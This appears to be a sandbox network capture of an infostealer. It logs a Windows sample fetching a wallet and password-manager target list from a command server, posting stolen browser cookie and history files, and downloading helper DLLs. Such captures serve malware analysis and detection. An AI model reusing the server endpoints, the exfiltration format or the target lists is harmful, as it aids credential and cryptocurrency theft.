Nov 20, 2024 07:48:06.655575037 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Nov 20, 2024 07:48:06.655651093 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 20, 2024 07:48:06.655685902 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 20, 2024 07:48:06.655721903 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 20, 2024 07:48:06.655755997 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Nov 20, 2024 07:48:06.712934971 CET	468	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 62.204.41.163 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="message"fplugins------JJEGCBGIDHCAKEBGIIDB--
Nov 20, 2024 07:48:06.935753107 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 07:48:07.096483946 CET	201	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 62.204.41.163 Content-Length: 7919 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 07:48:07.096546888 CET	7919	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 07:48:07.478418112 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:07.776240110 CET	92	OUT	GET /2c3d53f1da5ea53a/sqlite3.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:07.997034073 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 07:48:07.997093916 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	62.204.41.163	80	7400	C:\Users\user\Desktop\qlI3ReINCV.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:48:16.211307049 CET	619	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 62.204.41.163 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIJEGIIJDGHDGCBGHCAA--
Nov 20, 2024 07:48:16.945002079 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:17.513081074 CET	201	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 62.204.41.163 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 07:48:17.513135910 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 20, 2024 07:48:18.082288027 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:18.099903107 CET	563	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 62.204.41.163 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="file"------EGIDHDGCBFBKECBFHCAF--
Nov 20, 2024 07:48:18.346448898 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:18.723515034 CET	563	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 62.204.41.163 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="file"------AECAECFCAAEBFHIEHDGH--
Nov 20, 2024 07:48:18.969614983 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:19.216823101 CET	92	OUT	GET /2c3d53f1da5ea53a/freebl3.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:19.439403057 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 07:48:19.439424038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 07:48:19.439440012 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 07:48:19.439455032 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 07:48:19.439470053 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 20, 2024 07:48:19.439486027 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 20, 2024 07:48:19.439502001 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 20, 2024 07:48:19.439516068 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 20, 2024 07:48:19.439531088 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 20, 2024 07:48:19.439548016 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 20, 2024 07:48:20.262020111 CET	92	OUT	GET /2c3d53f1da5ea53a/mozglue.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:20.484517097 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 